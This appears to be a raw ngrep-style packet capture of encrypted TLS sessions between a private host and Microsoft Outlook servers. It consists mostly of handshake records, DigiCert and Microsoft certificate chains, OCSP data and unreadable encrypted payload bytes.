.?.F.Nhp~....ug.wa.Gs.....O....*...&.q....@|...!gh.@\n*7..L.,..E..\n1..je..l.AK...= .3o9...}......*k`W.o...B}..Jd........bK..,p.F.S.....e.Q..2\n.........Cm...&.B2...<..[..JM4......A..\"\"..'5T v..W....}...\"\"A.L......R}.YF...b....(dU..0.......C.79...q..F.......za....!;.X...J.$...../.9..6.v..da.g......n......oI...f...N..\n.../D.7....RC+&.[.?.-.....%..A..5fJ...&.\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #28\n........f..j..2.l..\n.....Lz.]U..rt.DOWNGRD. .....~g....D..\"\"D.0+.....t.(....5.0........#.........h2................M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260610071844Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260610070300Z....20260617060300Z0...*.H.........................?i.......Xn...Ce.2........>.).S.DI.qO^...(+......./h`.p....-O(.M..Y#W.).\na.B.r..=....O...>...o,..mSD.N.....w.1f.......<...oX..#.[j....6'......1...B.C.s...9I-... ...6.....y..2...H..d.....:)..,..Zd#..0.....l.../hU7...\\K...\n.......i.H...0...?A...|...i...a.~a.......P..!..._.......$......`}^._ ...\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #30\n......Y]@.&K.,a...\\.\"\"..RK6V.S.(..=.?.n.q.PZ-h...b.up............%...t..Pr..g..8d.2BAl+.n..0....UZ..P./.c.bE.......u....=..Tp.....a.q..r8%z...!=L\n.J......l.......\"\"X./.>.........e..@\\^....!V....,;v.....n.t....................|...7QD.>....%'.....nT...<..Y)H.Dj/\"\".4.P..%.....V..'H.M...........2Av.GHVz.-]..6:h|.K.\\..3*\n.....\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #32\n....f...ba...w.)M..[,A..X.._hi..,.?.'.k.\\Z.. ...V....gg.O..4...Z.t.L*FW...I..7.Q..G#s.h..Sh`....H.....R].............(........^.....t\"\".!..(.....U....v..cQx..7\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #34\n........*.....$.....^.i3..O.......|c.F..t<......<.-..Nu....Y.A.......M%.....4.hHb2..l2ItNs.Dn..x....\n......*@xwC...p../.]....~...J^..x....\\V0.CI(..Z.KEn...b..%.........s..?...H.......!g..........#..z.bBT.l..C..j}..Ywd.E?...P..............#..[.Q....c.....Q..,...4..........M..K.(..dL.,g..5>Pgo:...:T...4.1m.:..........(........E..3..6~+......ZbOp...U..7..P9......@.........&..\"\"A..~._DA...4\\\"\"...9......(..`.C\"\".O.`.v....A.0.T>....\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #36\n....R.........D......i!3..............|.vT..R.G.....'S...t1...gF.<~....i.dN7i.U.?..yHb,\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #38\n....!............bfIM=]z...\"\"#9xpk....@\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #40\n....m........v..N3..kc.K.....h].$.6...T.M.....R..>\n....i...i[..:P.n......0...O...^5....W......E.^\"\".B!../f3.o.)\n($>\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #42\n....!...........[\"\"4z.......7..Xe...J.y.............6...L......v>.b.8-...!.......2Qt........D|uh.'.tw=P&.b.&..e.......!.i.3....$..@W.3j.Rpd.3 ..T.'.K.~...].f.V2..Kz.X.qV...\\zp.M..:C.....5R.'..../!Y@...&..@ .D...LA%N#Y...D.A.i......q...............~.e......u....$.r..&.....]r..@...v..QB.3....f...Q...Tz7..........R8..@..-....\n.....j...g.......;?..y...c.:.K.a..W.2..;..\"\".Y*b..s. i%..B.A.h .'_1.8..X...UH:^V.....=. ...>.M....I.~h...2...V....]...m.v.....iYg.t.P.Sk.....................Dj......7!(....xB.>...\\.v.\n..A.@......f....Q.[.`T\\.^.2.fNS.c.?..6\\^.%U.........e....7.Ez.&.P.d..3...\n...^y]m.z..C~.w\\..U3.=R..0......9.26...r..Pn...SQ`.,.:l.S..r|.........@Pb....k...c.KBx.<M..!M..w..}..Y#..c.]r....B...C...XKy..Pw*..O..N.....-A.....\"\"{..........c......\\j.._....]u{z..=.....l..vj._@......r~T.....Q...5.3z...b...7u.,...?m..y................D\"\"..>.....U._P..3l..|.S.....Je........+....PX.,...|.f.w.=H......M....wf...L..[...6......Y....V?.>....3..x...XC.6)......[?....q%..T.......w.TC...~....A.[H{..yI*OA....s..a..V.....T:}yL..]S.....h........!...........:sb.}..]..^.?..%...J..\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #44\n....;..........!....Jj8I.i).cg...a..&...\"\"<y.T...........:.+..mA.\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #46\n.............5.Z...]~9...T.]....Nd..._.$..:../.....F.Xs.....$.z.. ..m.......{Cc,ur..(V.RL..i....ZR....s.K9.......$..Q...)6.s...HL.q.:...@........c...Cb).....o)....B..i..K..i.k...&.P...i.2...\"\"...a...L............vj.z.........d.bwS$..4'r.V...j.. .-.W..''...z.y-).a.'...h..-..UU/.7.{.m...R%....7.&Fs..e.%.........0....\"\"..`p.....Y.Hxa...A..n.\\.._..ek.\n..u'8.u.(7...T.F9.....~.vKv......R....u+.R.L..._.....H..3`%x...RF..*R...Q....{.I:N........3.)......S.n...q...={V}b.....O.jz^....O.`.K..E..~.,..J.y.U.17].=w...1Q2.....'p3.>...ib...#\"\"}...t.V..~..}..V.t..ka.........w..........[...)...L..7+g.0.0.......:8.!.........U...XH,c.)...'.........^...^\n......u.T......V]M..0......#...N.[2..VH.......CG...}7.4l..VFR8.f\"\"*.>....r1/F.{.m....)\n##\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #48\n....i.........F....L....Y.....%ln.30..g+...Q<.\"\"9..Nb.........f.O?...U...........K.>..GU.V..5...6....t..T.$.wd.\n##\nT 132.245.230.33:443 -> 10.152.152.11:63964 [AP] #50\n....o.........J.y)...P.%.x.O..F&.sp1I&.....u....)7..O...`..}8N...&|n......Fyh........(..Jl~...+Qt....K.V:*..p..d.B.6..Z.\n.o^.t~.gRJ#fu...#..rgC..L.....7B...x.O<..3BT]..k....K..?D...[ .@]2...x*t...b.(...4_Z!.F...L./NH=.....m.h...h?^{!x_{..i......`\\........ ~......./...4.K.(9u.0.< .p...`.@rf.\\...8.Ya[hh.. 0..8.].3...y..R.4-:....[.\\......L...V4.w....+.*.D\n.[..D...4.|.6....]>......._..e..?..=..I...x....,z.$..;..ccx.............u..d.4LA<......aH.~R.G.q..4..U....I.w..#.`?V.....|cN.u.4;X.5..L.._..-.._..G...K.}=\"\"....5..jk@R...+..b..\\.....c.9..i.Y}..QJ....-q.CS.-...8.-.6C:B.a....D...j.0GZb..<l.6.+X.PU....v...G).....#*..wdo....Z.`\n#####\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #55\n...........j/.....@...O..V.1U.....7.`.L..tm..&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...v.........outlook.office365.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #57\n........b..j..7H..Z..w.a7..,AQ..#..DOWNGRD. .!.....k.O...\n...........(...!`K.0........#.........h2............M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020C\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #59\nA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260609071900Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260609070300Z....20260616060300Z0...*.H.............v.0'.Y....:.5q..&+.pi.....5.-=.#.l.hZ....I....S6.\n#.T._.......Ll.DE....+m.|..7:..8.f(F.(.w.H..... Z]?.*|d.i.p.3...t&..}..dLS..R.......+t........>.7..[..../>.Q.....~..Lh..O.+m....O~2......xe.6....}..]).\"\"......4..G.P....V....\"\"...SQ..].M..._.\n..=O![...M. .Y.l...i...a.l..qm5.E.`...?A.pu..Y....Q.xju....]......sI...5..)......Va.......{...F...\n....6..pA;....O.^.6:u.....p.F-..GM.q..?o.^..>..f.nW<f..\\.t.rt5m.]]l..`..>:..c3..v6..X'..&.]XP^..:n6..,....Dg-u>......P.._AD,..3.....GY..\\.......4zL~..B......F0.;.B0.V.]$m.....B..^z`.R....nW2....|8..ylh..1.....S*.I..T..H~.w..Q.. Co...A.\"\"......(....r6`..}\\.=.'..4.....q....\\.Ie....{.I....\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #61\n....f...ba..B..g.4...b.Z......v.....]....^.m.......WK.........k.(....8I..Qn...3).[.CYKZu.51.....h....5..a8...........(........3.....r...).e.l.2}]ko_...{..9...\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #63\n........*.....$.....^.i3..O.......|.lq..).IV#f_..uIs.......4.6+..G.(&...}.=.'..../Ti...u{..)..*B....bb.^b.e..........5.......]...{...e.f......iu....U&...L...$>........>~.o)..}..K..+.f...%........(AY.9a.\\..v....PC.@.E...O..#!....m....[N.b..I.?n...zu.;{RtW... 3..v<....%..@....Ef.B.)o.2.5.C.......?....ZlJDf............(........_9.%.>b{Ym. ../...ml..1....*J.Sh....@........[.Rvb.y4$1.4..y..E..^....4..T.]..^....p#].g.........@C..\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #65\n....R........Q.Q.....`..\"\"+.^....B..1....J...(bCS..8....V..C._}.*..<./....V.V..].......M\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #67\n....!........{.qj..o..3..c...3.j.T<.3J\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #69\n....o.........-.?x.|K.{pY..U.~^...z.....k.}.....qG...&Fl..`.N.....B..!.r&.r.=...Y:y.........p..i.......k...Y.#&.9.Y.\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #71\n....!..........u4.@.#..H.^\\...z..dX-..................|2.[..L.i..d.M..'A.)#n>~!$.bh...T}(.H.].f...>`..i...=a.0.1j...<..=.z*.....(.:..8...Qz...k...'52o..Y,J..T.x.d.!.f..}.~tx..M.:3.t...8+A.........Q..,........m.fZKw.N.<0.gC)WG...Cq......V.;t].r..4..2Knq\nU....'_...^........,..w.(0..0.nCL.... Wl.P4.d.oM..2..I..hR..E...jf...pn,.<M.....dU..`w.e)..O-.~........p....7...F....5...'2..Y..8.._..7.L..7.%.?..!sK..s.2.....W.Nz.Z.%.p\n.Hl...!.L.te.h..+..FX.]7.l...np..F9U....:>m......E....c.2.H....5..............fZ...R#...%jeo.@C.e.K......'......7...-.&3.E.V\\...Q....X..4.}a......z.d...:...2..h.:?....n....U...<.iM%...6A...6....r..Y...%..`.......bm.=..wq.~.jU.m=..s.a.$b......t..m.._q..c....I.\nT.....=...R%...I.y..).......v............F9...^...I.....d......&H...A.R...Bq.x.....^.jr....................$Bdg......B=.O...X%\n....6..M.>2....'.I..1.?N8D1X..M..%,.%.a...c......v{y...l...............2`.5...P.e....S..YF&...u..gM.v...Z......9`.5H.I{..h6..cl4.P}.v....c....!.31c.7fA.Xe...... I2..`g..kL.A..c._......!........w.5e.M\"\".:&a......tf.g....\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #73\n....;............[..R.n.......?..R...d..Z...=.393O..`..`.....8.@\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #75\n...............b...*.^..A....w...hs#..#.)....5w...U1..(.>!...7.X.k.........A.e....B...[u4^.j....0.f.T;.R-..z.\ns.`|U...BnK.]..[.JS..#..8....Z.8.6....j..............,..A..r..Z.H..@K;4....An.5.....NQ\ny..h.q..qv..aC8.J..kC`.G\nV......_tv.....T...%.a......b...c.'`a(=+.S...1...A.......U.......\n..V..!....M..u..o.\\,t.zCl...[...y....h57..g5.[.....W..&...7>IE.6.PS.u.Tt..|?...~v.........C..n}....*s..|#(..}.h.....=;..F.ZS.S.......,.9......-m..:.m.z....B.A.m./u...8.i..q..$...9..Q.\\'.S..%..]X..mu..@+O.....V\\....H.n.P!}.......\\)G.hXe...]..qI.6p.$.R..T.@.O.Y.....xT....;..6.{..@....Yx;..<P...$.cg..T`.A5.~`.re.-l}..nv..0%...ol.......h+~m.... ./.b....\"\".....A.&......r......3.......b...gHg.st.@.....'.).oW..}.m.0...&.f*I..C..2....t..[.#.\n##\nT 10.152.152.11:64010 -> 132.245.230.33:443 [AP] #77\n....A...........{pXB...aP5..l<...a.... [.L.N.<...C..og...G,.]l..{.....\n##\nT 132.245.230.33:443 -> 10.152.152.11:64010 [AP] #79\n....o........E.m.|pN.D..^............r...G.\nR.tFC....V.\nJ\n/ ..Y^^G..._.p..W.R...=._.U.;s.&.-.8.`4.....~z0.P...hH.>..\\....E.:..^r.uN...U...9J.~...R..s.L......I...V.\n..X.D.....`....m$g.k...<./...'....|.l*..9%]NS...QB &Dc.:..b...9.>&.$.X..$.OVI%.R..\n..jh1.AJ.t+(K...[.!.?..H.:S.-...i'...1..fJt....1..r..J[..3..#+..F...s..2.|......?...iO.e..Q.?~.<.9.....,y..\\....B.....iH...&...&\"\"...F.[....%O)Wf...:.\\......Ba.X.O......\"\"f.3.......:D...l..kHeXd.f......?.C........x....~........._....].!l......oX.q.@\"\"..=s...|.Z.P.,.+.Oh...........cO$...d.V..V\"\".2...G..(..)a....1.4#.H.:.. .._..R...v..D..@.`._..k...(0.....\"\"s4..&J.j$..W.=f.a}I.O.../.].\n#####\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #84\n...........j/...).....7...[(q.B.,..$'..D.K1..&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n...............................................#.........h2.http/1.1.........\n##\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #86\n........f..j..9...,....B..2..,.x.b[DOWNGRD. .........;d.........M....1..(....0........#.........h2......................S0..O0..7.......C.\n..T..........\n..0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260308001703Z..270303001703Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0...*.H.............0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r..'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG...u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0...+.....7.\n..0.0\n..+.......0<..+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.u.e0...U.%..0\n..+.......0...*.H...............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'..i../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E.r..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0...*.H........0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20...250801200259Z..290603200259Z0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0...*.H.............0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B.......%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML.T...=M\nF.b.#\"\"Q..7L...@......S.........0..}0...U...........0...+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0...+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...*.H.............|Hq...E.t..?I....u..P..K....._.]5.l....a`..8...5..!:..X.8|....M......\n#\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #87\n{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6...CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...250521000000Z..290619235959Z0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0...*.H.............0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@...........t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9....3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.....m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n.......8B4.i....s..C.C.X.O....=.:@8.....d..c...U.Z....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0...*.H................+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B.x...e.. P...j:...H.........u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg...L...+.\"\"=}....c8,.V...R....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0..+.....0.....!0...0..........\np..50..T.i.FO:...20260613135244Z0..0..0L0...+...........j....m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613101309Z....20260621103309Z. 0.0...+.....7......260617102309Z0...*.H................Z[m$..j3.P..=..rq...ry.x..\\.P.&.f.....o.L.s|).....g.....^..r....B.W......i.j.......p.\\..;...S...<........Xl...)Y.. .G..*.P.2.....#.?.N.l.YM..R*.)1.....*...e}...dYM.k.#sw.+..\"\"N....D.Zn....T.M.w....>0^...........e....D...lr../'.._.'.w^.............UC.E......=0..90..50..........C.YIMt.j.#s.\"\"...YIM0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260612155022Z..260712155022Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP 